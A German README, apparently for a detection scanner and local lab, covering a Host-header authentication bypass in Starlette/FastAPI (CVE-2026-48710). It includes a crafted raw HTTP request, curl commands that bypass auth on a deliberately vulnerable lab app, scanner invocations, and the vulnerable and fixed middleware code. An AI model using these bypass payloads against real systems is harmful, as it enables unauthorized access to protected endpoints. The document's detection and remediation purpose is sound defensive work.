
Erkennungsscanner für CVE-2026-48710 - Host-Header-Authentifizierungsumgehung in Starlette/FastAPI
Nur-Erkennungs-Scanner für den BadHost-Authentifizierungsumgehungsangriff in Starlette / FastAPI – bei dem die Auth-Middleware request.url.path anstelle von request.scope["path"] liest, sodass ein präparierter Host-Header einen erlaubten Pfad einschleusen und die Authentifizierung umgehen kann.
GET /admin HTTP/1.1
Host: api.internal/health?__badhost=
# Starlette sieht request.url.path == "/health" → erlaubt
# ASGI leitet immer noch an /admin weiter → umgangen
Betroffen: Starlette ≤ 0.46.1 / FastAPI ≤ 0.115.x
Behoben in: Starlette 0.46.2+
https://host/path) – Pfad wird automatisch als Sonde extrahiertHost- als auch X-Forwarded-Host-Träger, zwei Payload-Strategien--preset ai) und MCP (--preset mcp) Endpunkte--json, --csvbadhost_vuln_lab/)Wird mit zwei FastAPI-Apps für die lokale Validierung ausgeliefert:
| App | URL | Auth liest |
|---|---|---|
| Angreifbar | http://127.0.0.1:8000 | request.url.path – umgangen |
| Behoben | http://127.0.0.1:8001 | request.scope["path"] – sicher |
cd badhost_vuln_lab
docker compose up --build
Oder ohne Docker:
pip install -r badhost_vuln_lab/requirements.txt
uvicorn badhost_vuln_lab.app_vulnerable:app --host 127.0.0.1 --port 8000
uvicorn badhost_vuln_lab.app_fixed:app --host 127.0.0.1 --port 8001
curl -i http://127.0.0.1:8000/admin # 403
curl -i -H "Host: 127.0.0.1:8000/health?x=" http://127.0.0.1:8000/admin # 200 — bypassed
curl -i -H "Host: 127.0.0.1:8001/health?x=" http://127.0.0.1:8001/admin # 403 — fixed
git clone https://github.com/Bhanunamikaze/BadHost-CVE-2026-48710-Exploit.git
cd BadHost-CVE-2026-48710-Exploit
python badhost_openapi_scanner.py --help # Python 3.9+, no pip install needed
# Single full URL — path extracted automatically, no extra flags needed
python badhost_openapi_scanner.py https://api.internal/checkout/ai-builder
# Multiple full URLs
python badhost_openapi_scanner.py https://api.internal/admin https://api.internal/api/users
# Add extra paths on top of a full URL
python badhost_openapi_scanner.py https://api.internal/checkout \
--protected POST:/api/checkout --protected GET:/api/cart
# Read-only scan from local openapi.json
python badhost_openapi_scanner.py http://api.internal:8000 --openapi ./openapi.json
# Include write methods (staging/authorized only)
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi ./openapi.json --openapi-methods all \
--unsafe-allow-write --openapi-body-mode invalid
# Fetch OpenAPI directly from the target
python badhost_openapi_scanner.py http://api.internal:8000 \
--openapi http://api.internal:8000/openapi.json
# Multiple targets, CSV output
python badhost_openapi_scanner.py --targets-file targets.txt \
--openapi ./openapi.json --csv > results.csv
# AI/LLM + MCP preset paths (no OpenAPI needed)
python badhost_openapi_scanner.py http://api.internal:8000 --preset all
--openapi-body-mode invalidsendet{}für Schreibmethoden – löst nach dem Auth-Bypass FastAPI422aus, ohne den Endpunkt auszuführen. Einbaseline=403 test=422-Ergebnis ist dennoch ein SUSPECT-Fund, den es zu untersuchen lohnt.
Verwenden Sie--openapi-body-mode minimalnicht in der Produktion – es erstellt gültige Request-Bodies, die Schreibendpunkte ausführen könnten.
Nur CONFIRMED und SUSPECT erscheinen in der Ausgabe. Exit-Code 2 = CONFIRMED, 1 = SUSPECT, 0 = sauber.
# Vulnerable
if request.url.path.startswith("/public"):
...
# Fixed
if request.scope["path"].startswith("/public"):
...
Upgrade auf Starlette 0.46.2+ / FastAPI 0.116.0+.
Nur für autorisierte Tests. Scannen Sie nur Systeme, die Sie besitzen oder für die Sie ausdrückliche Erlaubnis haben.
| Befund | Bedeutung |
|---|
CONFIRMED | Basislinie 401/403 → Test 2xx. Angreifbar. |
SUSPECT | Basislinie 401/403 → Test 404/405/422. Auth-Gate scheint umgangen; manuell überprüfen. 422 von FastAPI ist besonders signifikant. |
REJECTED | Proxy hat fehlerhaften Host abgelehnt (400/421) vor dem Bypass |
BLOCKED | Präparierter Request immer noch verweigert |
OPEN | Bereits ohne Authentifizierung zugänglich – nicht diese CVE |